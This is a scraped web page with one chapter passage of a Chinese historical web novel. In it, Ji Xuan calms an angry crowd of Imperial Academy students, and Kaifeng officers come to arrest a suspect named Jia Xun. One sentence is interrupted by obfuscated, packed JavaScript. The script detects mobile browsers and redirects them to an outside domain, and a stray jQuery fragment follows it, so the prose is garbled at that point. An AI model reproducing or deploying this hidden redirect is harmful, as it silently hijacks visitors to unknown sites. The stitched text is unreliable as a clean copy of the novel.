25. 燎原之火(第2页)

    回忆与现实的界限逐渐模糊,恨意汩汩涌上心头,闻竹抓紧手边的杌子,目光中透着寒意,如困兽在身处绝境时,致命而不计得失的反击。

    叮——

    一柄短刀不知从何处飞来,正中人群中央,刚好在贾学录身侧落下,清脆的声音在一片嘈杂中格外清晰,堂内刹那静了下来。

    那柄短刀如落入塘中的一粒石子,激起阵阵涟漪。人群此时涌动起来,向外层层扩散而去。

    嚓——

    又是清脆的利刃出鞘声,闻竹亦循声望去,亦不由得吃了一惊。

    纪宣面对众人而立,右手持着一把与地上同样的短刀,刀鞘被他随手丢在地上。他面容冷峻,清澈的眼眸在此时冷如冰霜。纪宣一改往日温润,如那手上的寒刃,周身向外散发着寒意。素有的世家公子贵气,此时也化作威压之势,人群如受了魔力般,一同噤若寒蝉。

    广袖下的寒刃移动起来,下方的衣袂翻起好看的弧度,腰间佩玉随着他行动,发出清鸣。

    许是顾忌他手上那把短刀,人群自然地为他分出一条道路,纪宣向她的方向走来。清俊的脸上已然摒弃一切情绪,平添几分神祇的不可冒犯之感。闻竹抬起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653485|172847||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    头,望向那双眼睛,却分不清那双眼睛是否同样望着她。

    眼睛被寒刃反射的光晃闪,待她重能视物时,纪二郎已经停在她身旁。她昂起头,纪宣微微倾身,白皙而修长手极为有力,攀上她的手臂,将她从地上拉起。

    他冷视众人:

    “原来诸位也知,刀剑无眼——刀剑伤人,拳脚手足亦可。若不知轻重伤及无辜之人,谁来担待?”

    闻竹借着力道站起身,眼中闪过几分敬佩。

    他一字一句,掷地有声。言语之间,又扶起几名混乱中倒在地上的生员。她同时留意到,趁众人注意全在纪宣身上时,吕嘉惟和卫赐一起,将贾学录从人多处拉走,顺手收起地上的短刀。

    柴生颇为不忿,在背后狠狠向纪宣剜了一眼:“纪二郎?无辜与不无辜,还未可知矣——”

    纪宣也不看他,视他如空气般:“结果如何,自有开封府、大邺刑统决断。诸位因同窗情谊,一时激愤,某皆能理解。若真捅出大娄子来,”纪宣顿了顿,眼睛往堂后望去,“可暗处未必没有眼睛看着!”

    生员中灵通的已经懂了他话中之意。

    起初,众人大多为群情感染,有人此刻已冷静下来,频频挪动脚步,欲往外撤去。

    闻竹冷眼观望,见还有一半生员怒意未消,决定助他一臂之力,再泼上一盆冷水。

    “二郎这话没错,”她扬声道,“诸位俱是人中龙凤——明年又是秋闱之年——似锦的前程,莫要因今日阻了。”

    这话说的明白,堂中再无人不懂。在太学修读的学子,以后大都要走上仕途,入朝为官。今日之事,说大不大说小不小,虽言道“法不责众”,但若真有意追究,纵有百人、千人也阻拦不了。担个殴伤人的罪名,于仕途名声百害而无一益,太学虽多官宦之子,可也没到视此为无物的地步。

    纪宣见群意松动,便知暂且稳住了情势。面上也柔和了些许。闻竹看向他,目光交汇,胜过万语千言。

    一天里最燥热的时分已经过去,混乱中的一顿发泄,太学生们的怒火也逐渐平息。人心本就不齐,遑论一部分学生本不想多事,只不过置身人群之中,被一浪高过一浪的情绪包裹,一时心气上涌,随着众人行动。如今情绪退去,不少生员提步离开,空留堂中一片狼藉。

    群情稳定后,躲在角落的梁学正闪身出来,发觉纪宣等人的目光投向自己,尴尬的捋了捋胡须。一面四处观望,一面催促在堂中停留的学子快些离开。

    闻竹见此朝崇化堂后望去,丝毫不见祭酒吕登敏及其余太学学官的身影,心中冷笑。梁学正平日里尸位素餐,动不动摆谱、大呼小喝,现下倒是唯一一个出来管事的。

    门外忽然传来一阵整齐的脚步声,堂中几人纷纷向门外望去,庭中正要离去的生员们也慢下了脚步。

    十余名捕快模样的胥吏鱼贯而入,在堂外阶上站定,整齐地分作两列。

    梁学正再也不能冷静。

    闹吧,就闹吧!这下开封府来了人,他一个小小学正,又能奈何?

    一名推官模样的中年文官自两列胥吏之间走来,在门槛内站定,见堂中满地狼藉,也无太学主事官员,无奈摇头,将双手笼在袖中,为今日的混乱画了句号:

    “奉开封府之命,缉拿嫌犯贾询。”